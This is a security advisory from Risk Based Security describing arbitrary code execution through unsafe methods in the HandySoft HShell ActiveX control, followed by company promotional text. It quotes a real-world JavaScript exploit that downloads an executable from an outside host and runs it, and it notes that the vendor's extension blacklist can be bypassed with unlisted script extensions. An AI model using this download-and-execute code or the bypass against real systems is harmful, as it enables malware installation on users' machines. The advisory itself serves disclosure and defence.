



RBS-2019-001

HandySoft HShell ActiveX Control  
Multiple Insecure Methods Arbitrary Code Execution

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## Vulnerable Program Details

Details for tested products and versions:

Vendor: HandySoft  
Product: HShell ActiveX Control (HShell.dll)  
Version: 4.1.0.5

NOTE: Other versions than the one listed above are likely affected.

## Credits

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## Impact

The HShell ActiveX Control (HShell.dll) contains multiple unsafe methods that implement insufficient security restrictions that may allow an attacker to e.g. download and execute arbitrary code on a user's system.

## Vulnerability Details

In August 2014, the July version of a monthly report<sup>1</sup> about malicious code trends was published by KISA (Korea Internet & Security Agency). Pages 29 and 30 detail a JavaScript file with malicious code that exploited a 0-day vulnerability in the HandySoft HShell ActiveX control by combining three unsafe methods.

```
obj.DownloadFromURL("http://www.sdgfaith.com/files/env/image/jpg/last.gif",  
"c:\\windows\\temp\\SearchMon.exe", 1, 1);  
setTimeout(function() {  
    if(obj.IsFileExist("c:\\windows\\temp\\SearchMon.exe"))  
        obj.ShellExec("", "c:\\windows\\temp\\SearchMon.exe", "", "c:\\", 0, 0, 0);  
}, 20000);
```

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<sup>1</sup> [https://www.krcert.or.kr/filedownload.do?attach\\_file\\_seq=835&attach\\_file\\_id=EpF835.pdf](https://www.krcert.or.kr/filedownload.do?attach_file_seq=835&attach_file_id=EpF835.pdf)

The methods being exploited are defined as follows:

```
[id(0x00000002), helpstring("method DownloadFromURL")]
void DownloadFromURL(
    [in] BSTR URL,
    [in] BSTR LocalPath,
    [in] long options,
    [in] long stats);
```

```
[id(0x0000000d), helpstring("method IsFileExist")]
long IsFileExist([in] BSTR bstrLocalPath);
```

```
[id(0x0000000a), hidden, helpstring("method ShellExec")]
void ShellExec(
    [in] BSTR verb,
    [in] BSTR file,
    [in] BSTR params,
    [in] BSTR dir,
    [in] VARIANT_BOOL show,
    [in] VARIANT_BOOL wait,
    [in] long lWaitTime);
```

As should be clear from the names of the methods, they allow downloading a file to a controlled location on a user's system, check if the file exists, and then execute it.

At some unknown point, the vendor attempted to fix this vulnerability by introducing a function in later versions that implements a check for certain dangerous file extensions based on a blacklist that restricts the following file extensions: ".exe", ".com", ".bat", ".cmd", ".scr", ".msi", and ".vbs".

```
.text:1000B3D3          push    offset a_exe      ; ".exe"
.text:1000B3D8          push    eax                ; unsigned __int8 *
.text:1000B3D9          call   __mbsicmp
.text:1000B3DE          pop     ecx
.text:1000B3DF          test   eax, eax
.text:1000B3E1          pop     ecx
.text:1000B3E2          jz     @return_1
.text:1000B3E8          lea   eax, [ebp+szFileExt] ; char[256]
.text:1000B3EE          push  offset a_com       ; ".com"
.text:1000B3F3          push  eax                ; unsigned __int8 *
.text:1000B3F4          call  __mbsicmp
.text:1000B3F9          pop     ecx
.text:1000B3FA          test  eax, eax
.text:1000B3FC          pop     ecx
.text:1000B3FD          jz     short @return_1
.text:1000B3FF          lea   eax, [ebp+szFileExt] ; char[256]
.text:1000B405          push  offset a_bat       ; ".bat"
.text:1000B40A          push  eax                ; unsigned __int8 *
.text:1000B40B          call  __mbsicmp
.text:1000B410          pop     ecx
.text:1000B411          test  eax, eax
.text:1000B413          pop     ecx
.text:1000B414          jz     short @return_1
.text:1000B416          lea   eax, [ebp+szFileExt] ; char[256]
```

```
.text:1000B41C      push    offset a_cmd      ; ".cmd"
.text:1000B421      push    eax                ; unsigned __int8 *
.text:1000B422      call   __mbsicmp
.text:1000B427      pop     ecx
.text:1000B428      test   eax, eax
.text:1000B42A      pop     ecx
.text:1000B42B      jz     short @return_1
.text:1000B42D      lea   eax, [ebp+szFileExt] ; char[256]
.text:1000B433      push    offset a_scr      ; ".scr"
.text:1000B438      push    eax                ; unsigned __int8 *
.text:1000B439      call   __mbsicmp
.text:1000B43E      pop     ecx
.text:1000B43F      test   eax, eax
.text:1000B441      pop     ecx
.text:1000B442      jz     short @return_1
.text:1000B444      lea   eax, [ebp+szFileExt] ; char[256]
.text:1000B44A      push    offset a_msi      ; ".msi"
.text:1000B44F      push    eax                ; unsigned __int8 *
.text:1000B450      call   __mbsicmp
.text:1000B455      pop     ecx
.text:1000B456      test   eax, eax
.text:1000B458      pop     ecx
.text:1000B459      jz     short @return_1
.text:1000B45B      lea   eax, [ebp+szFileExt] ; char[256]
.text:1000B461      push    offset a_vbs      ; ".vbs"
.text:1000B466      push    eax                ; unsigned __int8 *
.text:1000B467      call   __mbsicmp
```

This function is called by the ShellExec() method and the DownloadFromURL() method to restrict files being downloaded, written to disk, and executed. Other similarly unsafe methods like URLDownloadToFile() and CopyFile() also use it.

A blacklist is a very problematic way of addressing the main problems. While this blacklist successfully blocks the known exploit, it is very incomplete and fails to include many unsafe file extensions like ".vb", ".ws", ".wsf", and ".pif". Bypassing it is, therefore, trivial to download and execute arbitrary code on a user's system.

NOTE: This ActiveX control provides many other methods that are considered unsafe for a safe-for-scripting ActiveX control.

## Solution

No solution is currently available. KrCERT/CC has contacted the vendor to release a new fix. Remove the ActiveX control from systems, where it is installed.

## References

RBS: RBS-2019-001<sup>2</sup>  
VulnDB: 201144

## Timeline

2019-03-22 Vulnerability discovered.  
2019-03-22 Vulnerability reported to KrCERT/CC.  
2019-03-22 VulnDB customers informed that the original fix is incomplete.  
2019-04-02 Publication of this vulnerability report.

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<sup>2</sup> <https://www.riskbasedsecurity.com/research/RBS-2019-001.pdf>

## About Risk Based Security

Risk Based Security offers clients fully integrated security solutions, combining real-time vulnerability and threat data, as well as the analytical resources to understand the implications of the data, resulting in not just security, but the right security.

### Company History

Risk Based Security, Inc. (RBS) was established to support organizations with the technology to turn security data into actionable information and a competitive advantage. We do so by enhancing the research available and providing a first of its kind risk identification and evidence-based security management service.

As a data driven and vendor neutral organization, RBS is able to deliver focused security solutions that are timely, cost effective, and built to address the specific threats and vulnerabilities most relevant to the organizations we serve. We not only maintain vulnerability and data breach databases, we also use this information to inform our entire practice.

### Solutions

**VulnDB** - Vulnerability intelligence, alerting, and third party library tracking based on the largest and most comprehensive vulnerability database in the world. Available as feature-rich SaaS portal or powerful API. Vendor evaluations including our Vulnerability Timeline and Exposure Metrics (VTEM), Cost of Ownership ratings, Code Maturity, and Social Risk Scores.

**Cyber Risk Analytics** - Extensive data breach database including interactive dashboards and breach analytics. Clients are able to gather and analyze security threat and data breach information on businesses, industries, geographies, and causes of loss. It also allows monitoring of domains for data breaches and leaked credentials as well as implementing a continuous vendor management program with our PreBreach data.

**YourCISO** - Revolutionary service that provides organizations an affordable security solution including policies, vulnerability scans, awareness material, incident response, and access to high quality information security resources and consulting services.

**Vulnerability Assessments (VA) and Pentesting** - Regularly scheduled VAs and pentests help an organization identify weaknesses before the bad guys do. Managing the most comprehensive VDB puts us in a unique position to offer comprehensive assessments, combining the latest in scanning technology and our own data. Detailed and actionable reports are provided in a clear and easy to understand language.

**Security Development Lifecycle (SDL)** - Consulting, auditing, and verification specialized in breaking code, which in turn greatly increases the security of products.